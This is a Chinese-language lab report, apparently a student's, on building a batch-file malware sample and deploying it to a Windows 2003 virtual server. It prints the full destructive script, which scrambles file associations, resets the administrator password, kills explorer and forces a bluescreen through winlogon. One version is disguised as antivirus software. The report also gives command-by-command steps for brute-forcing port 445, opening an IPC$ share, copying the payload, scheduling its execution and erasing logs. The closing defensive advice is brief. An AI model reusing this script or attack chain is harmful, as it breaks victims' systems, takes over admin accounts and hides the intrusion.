摘要:
再本次實驗中,利用批次處理語言寫出一個簡單的指令碼惡意代碼,按照功能與使用場景不同,分成了互動時和非互動式兩個版本,互動式版本可以僞裝成防毒軟體,誘導Windows2003伺服器管理者執行.非互動式可以通過客戶機windowsXP進行遠端攻擊Windows2003伺服器,過程如下:
1.設定網段與地址,使其相互通
2.利用445埠漏洞,XP通過ntscan工具對2003進行掃描埠以及管理員密碼暴力破解.
3.根據得到的管理員帳號和密碼通過XP命令列命令與目標主機2003建立IPC$
4.將惡意代碼植入目標主機2003
5.通過net\ time等指令遠端控制目標主機2003定時執行惡意代碼.
6.執行結束,刪除日誌,退出登錄
最後,總結了本次攻擊過程中利用的漏洞,以及給出了防禦方法與建議.
所有實驗過程在Vmware虛擬機器進行,使用兩個操作統,Windows2003作爲伺服器,爲被攻擊方.WindowsXP爲客戶機,爲攻擊方.操作系統資訊如下:
2003
xp
`//注意:由於批次處理語句在latex環境中識別錯誤,
//所以爲方便註釋,將原本正確的註釋格式::改成了C語言註釋格式//
assoc .txt=exefile>nul //將系統中所有.txt後綴檔案改成exefile,同時隱藏輸出
assoc .exe=txtfile>nul//將系統中所有.exe後綴檔案改成txtfile,同時隱藏輸出
assoc .jpg=exefile>nul//將系統中所有.jpg後綴檔案改成exefile,同時隱藏輸出
ping -n 2 127.0.0.1>nul//利用ping命令,起到延時作用,同時隱藏輸出
set /p num=輸入密碼是: //使用者輸入密碼,同時賦值到num變數中
if "%num%"=="123" goto case1 //條件判斷,進行跳轉
if not "%num%"=="123" goto case2
:case1 //跳轉語句入口
assoc .txt=txtfile>nul //進行修復
assoc .exe=exefile>nul
assoc .jpg=jpgfile>nul
taskkill /im explorer.exe /f >nul 2>nul //強制殺死explorer進程,導致桌面系統癱瘓
ntsd -c q -pn winlogon.exe //藍屏炸彈語句,
//會強制殺死winlogon進程,使系統重新啓動,同時出現藍屏`
爲了隱藏程式碼檔案,將bat檔案轉換成exe程式,執行時結果如下:
檔案破壞:
輸入密碼正確後,檔案修復,自動退出
密碼輸入錯誤後,鎖住桌面系統,啓動藍屏炸彈:
bat關鍵程式碼及其解釋如下:
assoc .txt=exefile>nul //將系統中所有.txt後綴檔案改成exefile,同時隱藏輸出
assoc .exe=txtfile>nul//將系統中所有.exe後綴檔案改成txtfile,同時隱藏輸出
assoc .jpg=exefile>nul//將系統中所有.jpg後綴檔案改成exefile,同時隱藏輸出
net user administrator 123//修改伺服器開機密碼.
taskkill /im explorer.exe /f >nul 2>nul //強制殺死explorer進程,導致桌面系統癱瘓
ntsd -c q -pn winlogon.exe //藍屏炸彈語句,會強制殺死winlogon進程,使系統重新啓動,同時出現藍屏
使用Vmnet2網段
P設定
Windows2003設定爲10.1.1.3:
XP設定爲10.1.1.1
根據使用者習慣設定密碼字典
根據使用者習慣設定賬戶名字典
利用IPC$埠開啓暴力破解
net use \\10.1.1.3\ipc$ abc /user:administrator
copy d:Non_interactive.exe \\10.1.1.3\c$
net time//返回目標主機時間
at \\10.1.1.3 XXX c:\Non_interactive.exe//XXX需要填入執行時間,一般比目標主機時間多5分鐘
at \\10.1.1.3//察看2003執行進程計劃表
XP:
2003:
利用修改後的新密碼123登陸後,檔案已經被破壞:
此步驟需要在執行惡意代碼之前進行,否則會出現惡意代碼執行後,密碼改變,無法多使用者存取伺服器的情況.
net use \\10.1.1.3\ipc$ /delte //退出登錄
共有三個漏洞與相應建議:
通過以及可以檢視IPC$ 狀態,本次攻擊利用了445埠開放的漏洞,所以一般情況下,我們需要關閉此埠,以抵禦埠掃描與暴力破解.檢查與抵禦過程如下:
檢視IPC$服務,發現已開啓,故有漏洞:
關閉此服務:
再次檢視,發現已經關閉:
管理員密碼設計過於簡單,應該避開常用密碼,儘量使用3/4準則設計密碼.
對網路上的執行程式,執行前要慎重,有條件的話,可以運用一些工具檢視以下指令碼語言,再執行,儘量不要輕易使用管理員許可權執行程式.
參考部落格: